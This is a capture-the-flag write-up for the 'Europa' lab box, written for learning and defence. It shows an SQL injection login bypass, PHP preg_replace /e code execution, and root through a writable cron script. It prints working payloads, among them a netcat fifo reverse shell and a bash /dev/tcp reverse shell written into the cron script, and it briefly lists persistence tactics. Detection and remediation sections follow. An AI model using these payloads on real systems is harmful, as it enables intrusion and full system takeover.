Overview
Europa is a medium-rated Linux box running Ubuntu 16.04 with Apache on ports
80 and 443. The SSL certificate on the HTTPS service discloses three hostnames,
including an admin portal at admin-portal.europacorp.htb. The login form is
vulnerable to SQL injection, granting unauthenticated access to the dashboard.
The dashboard exposes an OpenVPN configuration generator that passes
user-controlled input through PHP’s preg_replace() with the /e modifier:
a well-known code execution primitive that evaluates the replacement string as
PHP. From there, a cron job running as root runs a script in a directory
writable by www-data, completing the chain to full system compromise.
The box teaches three distinct lessons: SSL certificate inspection as a reconnaissance technique, the danger of deprecated PHP features, and the recurring theme of root cron jobs calling scripts from user-writable paths.
Reconnaissance
I start with a service scan across the target:
nmap -sC -sV -oA scans/europa 10.129.12.170
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 7.2p2 | Ubuntu 16.04 banner |
| 80 | HTTP | Apache 2.4.18 (Ubuntu) | Default page |
| 443 | HTTPS | Apache 2.4.18 (Ubuntu) | SSL certificate with SANs |
The SSL certificate on port 443 is the most interesting artefact. Inspecting the Subject Alternative Names (SANs) field reveals three hostnames:
openssl s_client -connect 10.129.12.170:443 2>/dev/null | \
openssl x509 -noout -ext subjectAltName
X509v3 Subject Alternative Name:
DNS:europacorp.htb, DNS:www.europacorp.htb, DNS:admin-portal.europacorp.htb
All three are added to /etc/hosts. The admin-portal subdomain is the
obvious target.
Attack Surface Analysis
Admin portal login form
Browsing to https://admin-portal.europacorp.htb presents a login form with
inputEmail and inputPassword fields. The form action posts to the same
page. There is no CAPTCHA, no account lockout, and no CSRF token.
OpenVPN configuration generator
After authentication (covered below), the dashboard contains tools.php: a
form with three fields (pattern, ipaddress, text) that generates OpenVPN
configuration files. The default pattern is /ip_address/, which the backend
uses with preg_replace() to substitute the IP address into a template.
The presence of a user-controlled regex pattern field immediately suggests
the /e modifier attack against preg_replace().
Vulnerability Analysis
SQL injection on authentication (CWE-89)
The email field on the login form is concatenated directly into a SQL query
without parameterisation. A trivial OR '1'='1 injection bypasses
authentication entirely.
| Attribute | Value |
|---|---|
| CWE | CWE-89 (SQL Injection) |
| Root cause | Unparameterised query on the email field |
| Impact | Authentication bypass; full dashboard access |
| MITRE ATT&CK | T1190 (Exploit Public-Facing Application) |
preg_replace /e code execution (CWE-94)
PHP’s preg_replace() with the /e modifier evaluates the replacement string
as PHP code. This feature was deprecated in PHP 5.5 and removed in PHP 7.0.
The tools.php endpoint passes user input to both the pattern and replacement
arguments of preg_replace(), allowing an attacker to inject /e into the
pattern and arbitrary PHP into the replacement.
| Attribute | Value |
|---|---|
| CWE | CWE-94 (Code Injection) |
| Root cause | User-controlled pattern with /e modifier support |
| Impact | Remote code execution as www-data |
| MITRE ATT&CK | T1059.004 (Unix Shell) |
The /e modifier is one of PHP’s most dangerous historical features. Any
application that exposes the pattern argument of preg_replace() to user
input is exploitable when this modifier is supported by the runtime.
Writable cron script (CWE-732)
A root cron job runs /var/www/cronjobs/clearlogs every minute, which calls
a shell script at /var/www/cmd/logcleared.sh. The directory /var/www/cmd/
is writable by www-data. Replacing the script with a reverse shell payload
grants root on the next cron cycle.
| Attribute | Value |
|---|---|
| CWE | CWE-732 (Incorrect Permission Assignment) |
| Root cause | Root cron job calls script from www-data-writable path |
| Impact | Privilege escalation to root |
| MITRE ATT&CK | T1053.003 (Cron) |
Exploitation
Step 1: SQL injection authentication bypass
The email field accepts SQL metacharacters without sanitisation:
Email: [email protected]' OR '1'='1
Password: anything
The server returns a 302 redirect to the dashboard, granting authenticated access. No credentials are required.
Step 2: Remote code execution via preg_replace /e
From the dashboard, the tools.php page accepts three form fields. Modifying
the pattern to include the /e modifier and placing a PHP function call in the
replacement field triggers server-side evaluation:
pattern: /ip_address/e
ipaddress: system('id')
text: (default OpenVPN template containing "ip_address")
The response includes the output of id:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE confirmed as www-data. The user flag is readable directly:
# Via the preg_replace RCE
system('cat /home/john/user.txt')
# [redacted]
Step 3: Reverse shell
For interactive access, I inject a reverse shell payload through the same vector:
ipaddress: system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.x 4444 >/tmp/f')
nc -lvnp 4444
# Connection from 10.129.12.170
# $ id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Step 4: Privilege escalation via writable cron script
Enumeration reveals the cron job structure:
cat /var/www/cronjobs/clearlogs
# #!/usr/bin/php
# <?php
# // calls logcleared.sh
# ?>
ls -la /var/www/cmd/
# drwxrwxr-x 2 root www-data 4096 ...
The directory is group-writable by www-data. Using the existing RCE, I write
a reverse shell payload to logcleared.sh via file_put_contents():
ipaddress: file_put_contents('/var/www/cmd/logcleared.sh', '#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.x/4445 0>&1')
On the next minute boundary, the root cron job fires:
nc -lvnp 4445
# Connection from 10.129.12.170
# root@europa:~# id
# uid=0(root) gid=0(root) groups=0(root)
# root@europa:~# cat /root/root.txt
# [redacted]
Post-Exploitation
With root access, I enumerate the system to understand the full attack surface:
uname -a
# Linux europa 4.4.0-81-generic #104-Ubuntu SMP x86_64 GNU/Linux
cat /etc/lsb-release
# DISTRIB_DESCRIPTION="Ubuntu 16.04.2 LTS"
The SQL injection vulnerability exists because the application uses raw string concatenation in the login query. The relevant PHP code builds the query as a direct string interpolation of the POST parameter. No prepared statements, no input validation. The database contains a single admin account with a bcrypt-hashed password.
What a real attacker does next
In a production environment, post-exploitation would include: extracting the database credentials from the application configuration, checking for credential reuse across other services on the same host, harvesting SSH keys from user home directories, and establishing persistence through a secondary backdoor (SSH key injection, PAM module modification, or a less obvious cron entry).
Defensive Analysis
Detection opportunities
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial access | T1190 | WAF rule detecting SQL injection patterns in POST body |
| Execution | T1059.004 | Anomalous child process (/bin/sh) spawned by Apache/PHP |
| Persistence | T1053.003 | File integrity monitoring on cron-executed scripts |
| Privilege escalation | T1053.003 | Root process spawning outbound connection to external IP |
Network-level: A web application firewall inspecting POST bodies would
catch both the SQL injection (single-quote metacharacters in an email field)
and the preg_replace payload (PHP function names in a form field). The /e
modifier in the pattern field is a high-confidence indicator of exploitation.
Host-level: File integrity monitoring (AIDE, OSSEC, or auditd watches) on
/var/www/cmd/logcleared.sh would detect the payload injection. Process
monitoring would flag /bin/sh or bash spawned as a child of the Apache
worker process.
Log artefacts: Apache access logs record the POST requests to tools.php.
The payload appears in the POST body. Cron logs show the script running at
each minute boundary.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Use prepared statements for all SQL queries | Low | Critical |
| P0 | Remove /e modifier usage; use preg_replace_callback() | Low | Critical |
| P0 | Set cron script directory ownership to root:root 0755 | Low | Critical |
| P1 | Upgrade to PHP 7.0+ (removes /e modifier entirely) | Medium | High |
| P1 | Deploy a WAF with SQL injection and code injection rules | Medium | High |
| P2 | Implement account lockout on the admin login | Low | Medium |
| P2 | Add CSRF tokens to all forms | Low | Medium |
| P3 | Remove X-Powered-By header | Low | Low |
The SQL injection is the most straightforward fix: replace string concatenation
with parameterised queries. Every modern database abstraction layer supports
this. The preg_replace issue requires a code change to use
preg_replace_callback() instead, but upgrading to PHP 7.0+ eliminates the
/e modifier entirely, making the code change less urgent if the runtime
upgrade happens first. The cron job permission issue requires only a chown
and chmod on the target directory.
Key Takeaways
-
SSL certificates are a free reconnaissance source. The Subject Alternative Names field disclosed the admin portal hostname. Always inspect TLS certificates on HTTPS services; they frequently contain internal hostnames, development subdomains, and other names not discoverable through DNS brute-forcing alone.
-
Deprecated language features create persistent risk. The
preg_replace/emodifier was deprecated in PHP 5.5 (2013) and removed in PHP 7.0 (2015). Applications that depend on older runtimes inherit every deprecated feature’s risk profile. The fix is not just patching the application code; it is maintaining the runtime on a supported version. -
Root cron jobs and writable script paths are a textbook privilege escalation pattern. If root runs a script, the script and every directory in its path must be owned by root with restrictive permissions. This is one of the most common privilege escalation findings in real penetration tests, not just CTF boxes.